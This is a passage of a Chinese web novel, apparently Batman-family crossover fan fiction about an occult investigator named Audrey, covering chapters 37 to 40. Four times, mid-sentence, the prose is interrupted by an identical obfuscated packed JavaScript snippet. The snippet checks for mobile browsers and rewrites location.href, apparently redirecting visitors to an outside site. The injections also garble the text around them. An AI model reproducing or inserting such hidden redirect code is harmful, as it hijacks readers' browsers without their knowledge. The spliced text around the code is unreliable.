“书里这位名为丝毧的司辰，祂不喜欢光明，对辉光的回答也永远为否。很有趣吧，一位蛾道路的司辰却抗拒太阳，但对于光的渴望是无法被抑制的，祂因此与月亮联系紧密。”奥德莉瞥见杰因她的话而露出一丝茫然神色，以为是自己讲得太枯燥了，赶紧说出自己的下一步计划。“我现在就联系亨利·阿米蒂奇教授。” 达米安再一次被密大师生这种说干就干的行事风格震惊：“现在已经很晚了，而且还是暑假。” “阿米蒂奇教授是个工作狂。他是图书馆馆长，也是卓越的语言学专家。我想不等太阳升起他就会亲自来哥谭了。我认为这本书里包含了用以勒索神灵的具体内容，但我不确定自己的解读准确。伐诃语真的太难了。” “亲自来？”杰森诧异。他第一次和密大的人打交道，也因这个风格感到震惊。 “他会想亲眼看一看的，”奥德莉说。“他肯定不甘心于只是知道内容，还会希望对墙纸进行研究以获得更多的背景知识。” “好吧。”杰森耸耸肩。“你觉得它会是导致孩子们做梦的原因吗？” “有可能，但同时也有说不通的地方。这些墙纸在这里很久了，为什么以前没有导致孩子们做梦呢？”奥德莉纠结地说。 “那孩子们怎么办，会有紧迫的危险吗？”杰森问。“无论如何，我希望能尽快解决这个问题。” “我明白。刚刚我仔细观察了艾米丽，她没有任何异变的迹象，所以我想几个孩子目前还是安全的。”奥德莉说。“我会和阿米蒂奇教授谈谈，他一定会有办法的。” 说话间，奥德莉已经以邮件将照片发送给密大图书馆的公共邮箱并抄送阿米蒂奇教授。密大图书馆在官网上列出了面向大众的公共邮箱，欢迎各界人士提供资讯信息。 “我就知道阿米蒂奇教授在这个时间会很快回复的。”奥德莉在十分钟后便收到了教授的邮件，说他以前来过哥谭并留下过传送记号，此刻他已经到哥谭警局了。这个传送地点十分符合他谨慎的性格。“我去接他。” “我和你一起去。”达米安说。其实他完全没必要去，但奥德莉很自然地答应了，两人拉着手一起出发。 “我在这里等你们。”杰森一脸淡定地望着两人消失的地方，坚持把自己的话说完。 很快，奥德莉和达米安将阿米蒂奇教授带到了福利院的阁楼。教授戴着白手套，鼻梁上夹着单边镜片，非常的古典学术风格。 杰森对于阿米蒂奇教授到达的速度竟然毫无疑问，还很礼貌地和他打招呼，感谢他莅临福利院提供专业意见。就算再粗心大意的人此刻也会意识到有哪里不对劲了。 但杰森的伪装太自然，奥德莉小声地问达米安：“杰是不是脑子不太好使？” 达米安喜出望外、毫不护短：“你看出来了？” 奥德莉认真地说：“太明显了。他在哥谭的生活一定很不容易吧。” 杰森竖起耳朵，被听到的内容气到自闭。善解人意、礼貌待人也有错吗？ 阿米蒂奇教授的全部心神都被墙纸吸引了。在仔细查看后，教授笃定地说：“这的确是《旋火密续》。根据笔迹来看，是某个人在墙纸被贴好后站着抄录了整本书。这本书的历史价值很高，能重见天日真是个惊喜。” “如果只是一本书，为什么会对孩子们造成影响呢？”奥德莉担心他们是不是找错了方向。 “这本书蕴含的秘密过于重大，而且伐诃语本身就具有奇异力量。据说在抄本尚存之时，储藏之处偶有飞蛾盘旋。这也是在抄本失窃后，大英图书馆根本懒得费力去追查的原因。”阿米蒂奇教授说。 “但这些墙纸已经在这里许多年了。”奥德莉说，但忽然意识到自己思考的盲区。“等等，是我想偏了，其实福利院里六岁的孩子不止他们四个吧？” 杰森一愣。他们之前都觉得是有人想利用六岁的孩子达到某种目的，但实际上，福利院里有七个孩子都是六岁左右。 “的确如此。”杰森说，思索着。“他们四个有什么独特的地方吗？” “如果这本书会对它附近的人和事物产生影响，那也许是因为他们四个都来过这里？可能同来的还有其他年纪的孩子，只是他们没有受到影响。六岁被认为是懵懂与成熟的第一次分界，另一次分界是十五岁，但福利院没有这个年纪的。在司辰仍从人间选择侍者的时候，他们最青睐这两个年龄。”奥德莉探寻地看向阿米蒂奇教授。 教授点点头，表示赞同奥德莉的分析：“我想这是最有可能的原因。这也解释了为什么他们的症状都很轻微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344843|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。如果确认是这样，只需要在下一个月圆之夜让孩子们喝下浸泡过月蚀蓟的水，便可以切断他们与司辰之间的联系了。” “那是什么东西？”杰森瞪大眼。 “在新月时从墓碑背面长出的草。”奥德莉解释。“不用担心，这个很常见，我晚些给你送来。”这是调查员都会随身携带的草药，用来澄澈被迷惑的人群的神志，也能应对群体性谵妄。 “我明天问问孩子们。”杰森说，心里也基本相信了奥德莉和教授的判断。 “所以，没有什么阴谋，只是巧合吗？”达米安问，觉得事情的发展有点有种虎头蛇尾的荒谬感。 奥德莉也有这种感觉。就好像一个人以为自己发现了UFO，最后发现是邻居家的旋转七彩吊灯。 阿米蒂奇教授被奥德莉的表情逗笑了，说：“你是调查员，不是破案的探长。你需要做的是找到真相，但这个真相不一定是凶手，也可能是一个谜题的答案或一段遗失的知识。” 看到奥德莉还是有点郁闷，教授又强调：“不要怕小题大做，谨慎总好过忽视线索。而且你还发现了这本书，密大图书馆感谢你的信息。” “好吧，您说得对。而且事情能这么简单地解决掉也挺好的。”奥德莉说着，意识到这其实是个不错的结局，没有人受到不可逆的伤害。“那这个墙纸怎么办，销毁吗？” “留在这里可能还会有其他六岁的孩子被影响。”杰森主张销毁。“阿米蒂奇教授，销毁它会有什么不好的后果吗，或者有什么注意事项吗？” 阿米蒂奇教授说：“撕下来在白天烧毁就可以了。” 来去如风的教授离开了，剩下奥德莉在原地思考到底该如何对杰解释这一晚的奇怪事情。作为一个调查员，除了处理各种问题，安抚围观群众也是很重要的能力。 虽然杰看起来好像一点也不需要安抚，他完全没有恐惧或慌乱的情绪。他靠在墙上，双臂抱胸，瞪了一眼达米安，更像是生气。 为什么对达米安生气呢？奥德莉没想明白，但还是想努力为教授编一个合理的解释。她干笑着说：“教授住得近，又醉心学术，所以一听说这里的事情就立刻赶来了。” 杰森很无奈。他如果像正常人一样质疑和提问，虎视眈眈的达米安肯定要事后报复，无谓地浪费双方的时间。但如果他继续装傻，可能就被奥德莉彻底打上智力低下的标签——他倒是无所谓别人对自己的看法，但大家以后难免再有交集，他能预想到奥德莉的尴尬程度。 “你不需要解释什么，我相信你。我会对今晚的一切守口如瓶的。”杰森选择露出凌厉的气质，说的话却很温和。“谢谢你的帮助。” 原来是一位体贴的智慧群众。奥德莉松了口气，感激地笑笑，但是想起达米安对自己的误导，这一次轮到她去瞪达米安了。 达米安委屈，达米安生气，达米安决定记仇——当然记仇对象是怎么做都不对的杰森。 38.第 38 章 布莱克对小朋友兴趣缺缺，虽然和奥德莉一起去了福利院，但完全自由行动，在楼里四处溜达，直到奥德莉要离开时才从不知道哪个角落钻出来。 回到阿卡姆后，奥德莉把在福利院发生的事情讲给布莱克听，然后郁闷地把头埋进猫猫肚皮，闷声闷气地说：“好尴尬哦。” 布莱克误解了她尴尬的原因，安慰她说：“做侦探就是很厉害呀，你可以做一个调查员兼职侦探。我也想做猫猫侦探，听起来就很厉害。”它一脸严肃地伸出一只黑色小猫爪，压低声音说：“任何时间！” 奥德莉赶紧也伸出手，放在布莱克的猫爪上：“任何地点！” “猫猫侦探，认真办案！”异口同声地说完之后，一人一猫都莫名其妙地热血起来。 “啊，我说的尴尬不是这个原因。”奥德莉忽然发现话题跑偏了。“我是说杰，幸好他人好，没有追究我们在背后议论他。” “猫猫侦探可以告诉你一个关于他的秘密。”布莱克说。 “啊？”奥德莉震惊，有点好奇但又犹豫。“这不太好吧。” “也不算什么惊天秘密啦。他其实叫杰森，是冰山餐厅的老板。”布莱克神秘兮兮地说。“我碰巧听到他和员工打电话。” “哇，你真的是个大侦探。”奥德莉夸道。“那就解释了为什么他一副见多识广的样子了。” “我喜欢那家餐厅的吊灯。老板品味不错。”布莱克对冰山餐厅的印象很好，连带着对老板也愿意夸上一句。 “这个……品味独特吧。”奥德莉选了一个中性的说法。 “我要成为知道最多秘密的猫猫侦探。”布莱克坐正身体，庄严地宣布。 “还是要尊重其他人的隐私啊。”奥德莉捏捏布莱克的猫脸。“否则你就是人人喊打的猫猫狗仔队了。” “好吧。”布莱克犹豫了一下，还是答应了。“反正这样靠着隐身偷听来的信息一点挑战性也没有。” 离开福利院后，达米安去和蝙蝠侠一起夜巡。他和蝙蝠侠报备过自己今晚会迟一些加入。 蝙蝠侠问：“福利院的孩子们都好吗？” 韦恩先生在各个福利院都做过义工。在记者的照片中，他看起来像是一个在日常作秀博取名声的阔佬，只负责不走心地和围在他身边的孩子们合影，露出充满魅力的笑容。 事实上，他记得每一个孩子的名字，并解决了许多观察到的细微问题。 达米安把发生的事情简单讲了，提议道：“哥谭的老建筑很多，不知道是否还有类似情况，我想和奥德莉一起把另外两家福利院排查一遍。” “韦恩集团对它们都有资助，你可以用韦恩家的名义去视察。”蝙蝠侠很支持。“奥德莉有时间吗？” “她已经答应了。”达米安有点骄傲地说，省略掉自己用绿眼睛可怜兮兮地恳求她消气的作弊行为。 因为杰森的原因（杰森：你摸摸你的良心，真的是因为我吗？），奥德莉对他生气了五分钟。但达米安像一只故意恶作剧后又一脸诚恳地看着人请求原谅的大猫，这是人类意志能抵抗得了的吗？至少奥德莉不能。 对布莱克毫无原则、对达米安基本没原则的奥德莉选择原谅他，虽然她故意假装继续生气五分钟，让达米安多提心吊胆了一会儿。 对于她的小小报复，达米安信以为真，不自觉地露出有点焦急的神情。奥德莉实在忍不了看他这么可怜，两人又和好了。 杰森靠在墙边假装壁虎，看到达米安的样子，被殃及池鱼的不悦全没了。吃瓜总得付出点什么，他淡定地想，又在心里吐槽：幼儿园的小朋友吵架又和好的速度都没有你们快。 此刻的蝙蝠侠也很想吐槽：她是答应你一起去做好人好事，不是答应你去约会。你在骄傲什么？ 但他忍住了，因为他想起自己也做过类似的事情。在塞琳娜主动帮助其他人后，他在对阿尔弗雷德讲起时也会带着与有荣焉的情绪，就像在炫耀“你看我交到了一个多么好的朋友”。 阿尔弗雷德那时候可没有故意逗他，生怕自家少爷炸毛。那他现在也能忍住。 反正回家之后，他可以把达米安难得的幼稚表现单独讲给阿福听。被管家偏爱了一辈子的布鲁斯少爷得意地想。虽然现在阿福叫他老爷，但他才是阿福心里排第一的那位小少爷。 达米安又暗自生气了。 起因是阿尔弗雷德帮他和奥德莉做好了安排，周五晚上先去玛利亚福利院，周六再去圣约翰福利院。 周五晚上，他和奥德莉与另外几位志愿者一一打过招呼，其中一人就是达米安今晚烦恼的源泉。 “火柴·马龙，您曾在机场送过我。那天我等车等了很久，多亏您经过。”虽然没有第一时间认出对方的脸，但在听到这个过目难忘的名字之后，奥德莉马上记起了初到哥谭时遇到的这位出租车司机。“我叫奥德莉，没想到又见面了，真巧。” “达米安。”达米安板着脸说。 火柴·马龙，即布鲁斯·韦恩，其实并不是来围观达米安的。他来此主要是出于控制狂心态，希望能第一时间了解福利院是否存在隐患。 当然，看达米安炸毛属于额外福利。 但达米安对情绪掩饰得很好，因为他知道奥德莉在无意识地关注自己，而他不希望在两人相处时引入任何负面情绪。他只是隐蔽地给布鲁斯一个不高兴的眼神，然后就不理他了，跟在奥德莉旁边等着听她的观察结果。 孩子们没什么奇怪之处，晚上对建筑的巡查结果也一切正常。看来即使是哥谭，也并不是处处有隐秘世界的残留。 周六，在圣约翰福利院，奥德莉认识了另一位志愿者。来自布鲁德海文的警察迪克·格雷森笑得爽朗大方，自我介绍说在哥谭长大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352122|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，周末不值班就回来看看，回馈社会。 达米安连个眼神都懒得给迪克，只在擦肩而过时低声警告他离远一点。可怜的大哥委屈巴巴，他想辩解说是布鲁斯让自己来的，但他自己都觉得这个解释很像借口，只能躲在角落默默刷碗。好在他经常做家务，小学开始每天帮阿尔弗雷德洗碗以获得一周五美元的零花钱。但福利院的餐具真的好多啊！为什么好像永远也刷不完？ ——因为圣约翰福利院是哥谭最大的一家福利院，这也是阿尔弗雷德将它安排在周六的原因。 奥德莉和达米安仔仔细细检查了前后两栋楼，确定没有什么问题，终于松了口气。 “看来哥谭没有我脑补得那么夸张，比如遍地是失落的古籍。”奥德莉说。“如果再找到几本，我想阿米蒂奇教授会来这边常住一个月了。” “那哥谭岂不成了密教大本营？”达米安想象一下，觉得倒也很符合哥谭的气质。 “对了，杰说他今天会在福利院，我把月蚀蓟送过去。” 杰森已经和每个孩子都单独聊过，确认了奥德莉和教授的猜测。在玩捉迷藏的时候，有几个孩子藏到了阁楼，但因为那里很难被发现，之后大家约定再玩游戏的时候谁也不去藏在那里。结果就是去过阁楼的六岁的孩子只有四位。 两人闲聊几句，杰森说自己已经将壁纸都换好了，只等下一个满月之日给孩子们服用药水之后便会销毁。 奥德莉叮嘱他观察孩子们的反应，如果发现什么异常，可以随时联系她。 之后，达米安又跟着奥德莉回到阿卡姆宿舍，理由是想教她画画。画了一会儿，奥德莉耍赖不想画了，突发奇想说：“我好久没有远距离传送了，我试过纽约，但还没试过其他国家。” 达米安问她：“如果因距离太远而传送不成功，会有什么后果吗？比如力竭晕倒？”维多利亚世界的那次晕倒他可还记得很清楚。 “不会的。后果就是还站在原地，并不会说想传送八百米，但因为能力有限而出现在五百米的地方。”奥德莉解释。 “这样倒是更安全，否则万一五百米的地方是个湖泊呢。”达米安说。 奥德莉试了试中东的民宿和伦敦的莫兰书店，发现自己基本能在地球上畅游无阻了。 最初的莫兰书店是因为防剿局对店长莫兰小姐的关注而关门的，那已经是很多年前的事情了。由于它在隐秘世界的巨大名气，在那个消息传播不够快的年代，总有人会远道而来才发现书店已经关张。 后来，书店几经易手，一位名为辛西娅·坎贝尔的小姐在莫兰书店的原址上扩建了店铺，再次将莫兰书店的大名传遍隐秘世界。她沿用了旧名字以纪念初代店主。 大一时，密大组织新生去莫兰书店参观并留下传送记号。当然，那时的学生们都无法从美国传送到英国，跨越大洋彼岸的距离太远了。 39.第 39 章 在确认自己可以任意跨越半个地球之后，奥德莉打算尝试一下进阶传送，将坐标定在某个人身上，而不是某个固定的地点。 达米安默认自己是奥德莉的试验伙伴，提议道：“我在这里等你，你先传送到伦敦，再以我为坐标回来。” 奥德莉照做，消失后又忽然出现，达米安淡定地在最后一瞬退后半步，为她让出空间。 “幸好你反应快。”奥德莉惊魂未定地说。“要是换个普通人，我岂不是要把他撞飞？这个传送功能是用来对敌的吗？” “我不觉得其他调查员有我这样的反应速度。”达米安理性分析，“如果我不躲的话，你也未必会撞上我，也许会落在我旁边。” “也是，否则一定有很多传送造成伤亡的故事。”奥德莉认为他说得有道理。“那我再试一次，这次你不要动。” “好。”达米安答应了，又保证道：“就算你的着陆位置和我完全重叠也没关系，我能接住你。” 奥德莉消失了。这次达米安站在原地一动不动，神情专注地等着奥德莉回来。如他们猜测的，她出现在他身旁。 有一个著名的团队协作训练项目叫做“信任背摔”，规则是前排的人保持身体笔直向后倒，信任后排的人能接住她。但人们通常会对后排的人产生质疑——他能接住我吗？他的力量足以承载体重和重力的结合吗？带着这样的心态，身体会不自觉地做出自我保护的姿势。 更有趣的一点是理性认知与躯体本能间的微妙差异。即便理性层面竭力说服自己去信赖，哪怕心理上的质疑几乎为零，身体也总是会做出条件反射般的防御姿态，暴露出潜意识的犹疑。 但奥德莉在传送时是全然放松的的姿态，反而是在落地后，发现两人几乎贴在一起、距离近得有些太过了的时候，才立刻紧绷起来，下意识地后退半步。 达米安为她的身体语言中展露无遗的信任而微笑起来。在奥德莉投来费解的眼神时，达米安清了清嗓子，很有实验精神地问：“如果我在你出现时立刻后退，你会跟着我一起移动吗？那样的话，如果真的定位的是敌人，你还能追踪对方。” “从我出现到着陆只有几秒钟，一般人能有这种反应速度吗？除非他在搭乘飞机。”奥德莉虽然这样说，却也很好奇答案。“让我们试一试。” 奥德莉话音刚落就再次消失，然后又一次出现。达米安在看到她出现的时候马上向左疾冲几步，奥德莉竟然真的跟着一起移动了方位，然后踉跄着被达米安眼疾手快地接住。 如果没有被达米安扶住，奥德莉很可能会摔得很重。但达米安的动作毫不慌张，所以她一点也没意识到擦肩而过的巨大危险，笑嘻嘻地说：“我们可能是第一个发现这一点的人。” 达米安不得不严肃地提醒奥德莉其中风险，建议她多做平衡练习。奥德莉答应了，然后又说：“我知道你肯定能扶住我的。换做其他人，我一定会非常小心。” 达米安抿着嘴，一副“这不算什么”的样子，但嘴角还是飞快地、偷偷地翘了一下。 试验大获成功，奥德莉准备解除在达米安身上的传送定位，却被达米安阻止了。奥德莉奇怪地看他：“这个传送是可以单方面发起的，你不担心我忽然从天而降吗？” 达米安非常自信地说：“你在任何时候出现都不可能撞到我，即使你的着陆点和我的位置完全一样。” “这一点我是相信的。”奥德莉对达米安的敏捷身手和反应速度毫无质疑。“但我的意思是说，你不担心我出现的时机不合适吗？” “根据我对你的了解，你如果要来，肯定会提前联系我。”达米安很自然地说，一点顾虑都没有。“除非你想给我一个惊喜。” “惊喜还是算了吧，”奥德莉立刻拒绝。“万一你和蝙蝠侠正在任务中途，那多冒昧啊。” 达米安已经预料到她会这么说。奥德莉的分寸感很强，在对人热情的同时，总有一层淡淡的疏离藏在最下面。 他很想说“你出现的任何时间都不会不合适”，但这不是事实，两人都知道。他能给出的最大程度的信任不是允诺对方可以随时出现，而是相信对方不会滥用留下的定位去刺探他不能说的秘密。 “留下它吧。”达米安说，语气中不自觉地带上一点恳求。这不是他的说话风格，但他很早就发现奥德莉非常吃这一套。 奥德莉很有团队精神，在任务需要时也乐意服从命令，但平时她非常不喜欢被强势地对待，那会激起她的逆反心理。大部分时间她很随和，不过没人能让她做她真正不想做的事情。 达米安想，如果奥德莉拒绝，那也没关系。他可以在未来再问一次。 他对最终结果抱有乐观的期待。 “现在其实很少有人这么做了。”奥德莉说。“调查员通常是在某次探险中临时在队友身上留下坐标，防止走散。”她顿了一下，“如果是长期的，通常是两个人互相留下坐标。但我没办法给予你对等的待遇。” “我不在乎我比你更信任对方一点。”达米安半开玩笑地说。“而且不要看不起义警的高科技手段，我们有纳米定位器。” 小王子为狐狸戴上项圈时，是小王子驯服了狐狸，还是狐狸留住了小王子的关注？ 奥德莉犹豫了一会儿，最后说：“如果某一天你希望把它解除，告诉我。” “好的。”达米安答应了，因为奥德莉很坚持地看着他，大有如果他不答应就立刻解除的架势。 “而且，我不会允许你在我身上放纳米定位器的，任务需要除外。”奥德莉强调。 “我知道。”达米安立刻说。“除了任务需要之外，我们平时也不会这么做的。” 奥德莉微微歪头，盯着达米安：“你在纵容我。” “而你在允许我纵容你。”达米安非常坦荡地说。 两个人对视，好像在玩谁先移开视线谁就是胆小鬼的游戏。但达米安可以坚持很久不眨眼，奥德莉很快就败下阵来，她借着眨眼睛的机会宣布退出比赛。 达米安对奥德莉的赖皮行为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15368873|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有说什么，他只是故意慢慢地眨一眨自己的绿色眼睛，得意地笑一下。 对，他就是知道自己的优势，而且会充分利用。 奥德莉晕乎乎地看着达米安，然后指责他赖皮。被戳穿的达米安笑得更得意了。 “你快去夜巡吧。”奥德莉恼了，开始赶人，并且发表应该被挂路灯的资本家言论：“我要写信给蝙蝠侠，请他给罗宾设置上下班打卡制度，外加年度、季度、月度、每日绩效考核……” 达米安任由奥德莉抓住他的手，看着她火速把他放在韦恩大宅门口，然后又看着她像是风一样消失在眼前。 “我走了。”奥德莉不习惯没有说一声就离开，回去之后还特意发了条信息。 达米安不自觉地笑起来，回复一句毫无意义的话：“我看到了。” “达米安少爷，您是打算一直站在那里吗？”阿尔弗雷德打开门。 “夜巡前我看看天气。”达米安仰望天空，一脸严肃地说。 “那我就不打扰您了。”阿尔弗雷德看看阴沉沉的夜空，在雨滴落下前回到大宅内。 周日上午，奥德莉在宿舍床上滚来滚去，最后决定回纽约。她的父母刚刚出差回来，听说她忽然要回家，吓了一跳，担心是出了什么事。奥德莉赶紧解释自己现在可以很方便地随时回去。 莉莉狐疑地看着女儿：“你大二开学之后就说能随时从波士顿回家，但除了每周去武馆上课，没见你特意回来过。” 奥德莉心虚地说：“我就是今天忽然想回来了，不可以吗？” “可以，当然可以。”父亲约翰与妻子交换了一个尽在不言中的眼神。“那我们去吃意大利菜吧。” 午饭途中，达米安发来信息：“一起吃午饭吗？” “我有事回纽约一趟。”奥德莉说。 “哦。需要我去吗？”达米安问。 “不需要。”奥德莉惜字如金。 “好吧。那今天想画画吗？我可以做你的模特，还可以帮你调颜色。” 奥德莉为这个提议而心动，犹豫起来。达米安的下一条信息又到了：“我在韦恩庄园，下午都有空。” “其实我和你妈妈已经买了电影票。”约翰忽然说。“你有事的话可以先走。” 奥德莉抬起头，看见父母揶揄的笑容，嘴硬道：“我没事。” “但我们有安排。”莉莉笑着说。“除非你想和我们一起去看老电影。” “好啦，我这就走。”奥德莉飞快地吃完最后几口意大利面，和父母告别。 因为达米安说他下午有空，她故意没有回复达米安，直接传送过去。明明知道他的反应速度，但奥德莉还是忍不住想恶作剧一下。 达米安正在自己的起居室里画画，或者说在守株待兔。在听到空气波动的声音时，他假装毫无所觉。奥德莉反而因此慌张起来，惊呼一声“达米安”，然后被后退一步的达米安稳稳扶住。 “我就知道你是装的。”奥德莉嘴硬，努力平复心跳。 40.第 40 章 奥德莉对画画颇为上瘾，虽然成品总和她脑中想象的存在差异，但她自认为是有传神之处的。比如这次的肖像画，在达米安的帮助下，她调出了满意的蜜棕色作为肤色。至于眼睛的绿色，她上次画布莱克的时候已经有调色心得了。 达米安非常有耐心，面对奥德莉这种只会用务虚的语言描述需求的甲方，他忽略掉“琥珀的鎏金”、 “枫糖浆流淌时的剔透光晕”、“秋日林间穿透叶隙的斑驳碎金”等优美但毫无用处的词汇，直接比照自己的肤色来调色。只是在终于得到甲方奥德莉的首肯时，达米安已经要被她天花乱坠的形容词给夸晕了。 “有人觉得我这样的肤色配不上韦恩这个姓氏。”达米安状似无意地抱怨，像个受了天大的委屈又不敢说的受气包。确实有人在宴会上偷偷这么议论过，但达米安并不在乎。他非常确定韦恩这个姓氏将因为他而更加荣耀。反而是德雷克听了气不过，暗中替他出头几次，还做好事不留名，在达米安问起时假装已经忘记了。 “胡说，那是坏人在嫉妒你。”奥德莉气得鼓起脸，然后又担忧地问：“你家里不会真的有什么豪门争斗吧？” 达米安大发善心地为德雷克正名：“没有，家里人都很好。是外面的人在议论。” “那更不要去理他们了，他们不值得你浪费时间。”奥德莉安心了，一边作画，一边脑洞又开始运转—— 已知韦恩先生是白色皮肤、黑发蓝眼的盎格鲁-撒克逊人，而达米安是棕色皮肤、黑发绿眼，显然是因为混血的缘故。那蝙蝠侠是不是黑发棕眼？ 不行，不能再想下去了。奥德莉赶紧阻止自己。她要尊重偶像的隐私。 “你在想什么？”达米安微微眯起眼，非常警觉地问。 “没什么。”奥德莉赶紧说，“你不许动。” 达米安继续保持着站在窗边的姿势，等到奥德莉宣布自己画完了才凑过去看。 自从投入抽象派的怀抱，奥德莉的绘画速度进一步提高，人像画也只需要一个小时。至于成品，达米安觉得那些堆叠的色块能看出是人，如果加以合理想象，也能看出是他。他挺满意的，打算把它挂在卧室。 只要颜色调得好，成品总不会太差。——信心满满的奥德莉如此总结。 静谧的午后时光被一阵鸡飞狗跳的声音打断了。奥德莉和达米安一起来到阳台上，朝楼下的花园看去。一只巨大的白色萨摩耶正在管家精心修剪的灌木之间横冲直撞，试图找旁边的两个年轻人玩，而后者以常人难以想象的敏捷躲避着，生怕被狗狗碰到。 “为什么不摸摸它！”看到亲近人类的微笑天使萨摩耶得不到它想要的陪玩，奥德莉十分心疼，半个身子都要趴出去了。“狗狗，我可以陪你玩。” 萨摩耶听到了奥德莉的呼喊，激动地看向她，下一刻竟然跳上了二楼阳台。达米安立刻拉住奥德莉向后避让，但令人感到难以置信的是，萨摩耶比达米安更快。 奥德莉和达米安一起被巨型萨摩耶扑倒在地，然后“噗”地一声，两人消失了，一只中型萨摩耶和一只小小的绿眼黑猫出现在原地。 “咦，你变成猫了。”萨摩耶-奥德莉说，用爪子去戳黑猫-达米安。达米安和布莱克虽然有同样颜色的眼眸，却是两种完全不同品种的猫咪。布莱克是一只短腿的肉乎乎的猫咪，而达米安更像一只小豹子，身姿修长，动作矫健。 “不要戳我。”达米安抗议。 “我呢？我是什么？”奥德莉看不到自己的全貌，急切地问。 “你变成萨摩耶了。”达米安被她没轻没重地戳了几下，灵活地从奥德莉的爪子下躲开。 “嗷呜。”奥德莉很不适应用四肢支撑身体的感觉，笨拙刨了几下地，然后又去找达米安，想用嘴筒子拱他。“你这个样子好可爱啊，要是能拍照留念就好了。” 达米安看向花园中的提姆和他的朋友康纳，不出所料地看到两人正在疯狂拍照。 康纳是超人的儿子，但他没有母亲，也不是超人通过生育宝典亲自孕育的，而是送子总裁莱克斯·卢瑟的生物学杰作，基因来自超人和卢瑟。 在知道自己竟然有一个从生物仓中被制作出来的儿子时，超人去找蝙蝠侠倾诉自己的悲惨经历，还非常没有眼色地抱怨：“年少时不能遇见生物知识太过惊艳的人。比如塔利亚，比如卢瑟，否则就会多出个孩子。” 没错，达米安也是生物工程的杰作，是塔利亚用蝙蝠侠和自己的基因结合制作的。卢瑟制造了无数个基因结合体，从中选出了最优秀的康纳进行培养。塔利亚则更进一步，在选出最优秀的达米安之后，又以他为蓝本制作了无数个克隆体。 彼时的蝙蝠侠已经完全接纳了达米安，不只是因为他有自己的基因，也因为在相处中产生了真切的父子之情。但超人的话还是气得他翻个白眼，然后拍拍超人的肩膀，鼓励他说：“你会找到和他的相处之道的。” 蝙蝠侠永远是对的。超人勇敢地承担起一个父亲的责任，和康纳成为亲密的父子，并在被魔法击中变成萨摩耶后选择热情地追着康纳跑。 康纳很想去摸一摸钢铁萨摩耶的头，但通讯器另一端的提姆紧急制止了他，因为根据施法之人嚣张的自述，这种魔法通过接触传染，好在时效不长，只有十二个小时。 于是超人和康纳在空中上演了一场“他逃，它追，他插翅难飞”的剧情，直到康纳飞到韦恩庄园，想请蝙蝠系义警帮他制止超人，或者帮他顺利熬过接下来的十一个小时。但超人被奥德莉吸引了注意力，轻轻一跃便登上了阳台，扑倒了奥德莉和达米安，为韦恩庄园再添两只动物。 提姆发现达米安在看自己并且露出非常人性化的表情，忽然意识到对方和超人不一样，竟然是神志清醒的。超人已经完全被狗狗的情绪同化了，只想做一只快乐玩耍的萨摩耶。 “那只萨摩耶是超人，他中了魔法，会把碰触到的人也变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15377731|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成动物。你们最好能吸引他的注意力，让他不要再去找其他人。只要能坚持十一个小时就行了。”提姆说，在看到奥德莉和达米安对他点头时松了口气。 “他们两个为什么能听懂人话？”康纳不解。“我之前说了那么多，超人一个字也没听懂。” “可能是因为超人的魔抗太低了。”提姆叹气。 “而且他们两个能互相交流，真神奇。在我听来就只是‘汪汪汪’和‘喵喵喵’。”康纳听了一会儿，还是一句也没听懂。 另一边，奥德莉发现在她变成萨摩耶之后，超人很快失去了对她的兴趣，又一次想去找康纳一起玩。 “他可能只想和人一起玩。”奥德莉试图阻拦超人，可他太灵活了，奥德莉只能努力去硬扑，利用超人怕伤到她而不敢用力的心态挡在他前面。 “汪汪汪。”奥德莉尝试与超人对话，但她的半吊子狗语只换来超人的迷惑眼神，那双黑豆豆一样的眼睛中流露出清澈的愚蠢。 “汪汪汪。”达米安出场，神气十足的黑猫顺利将提姆所说的信息传递给超人。超人思考了一会儿，慢吞吞地朝房间内走去，找到一个角落趴下，默默地等待魔法失效。 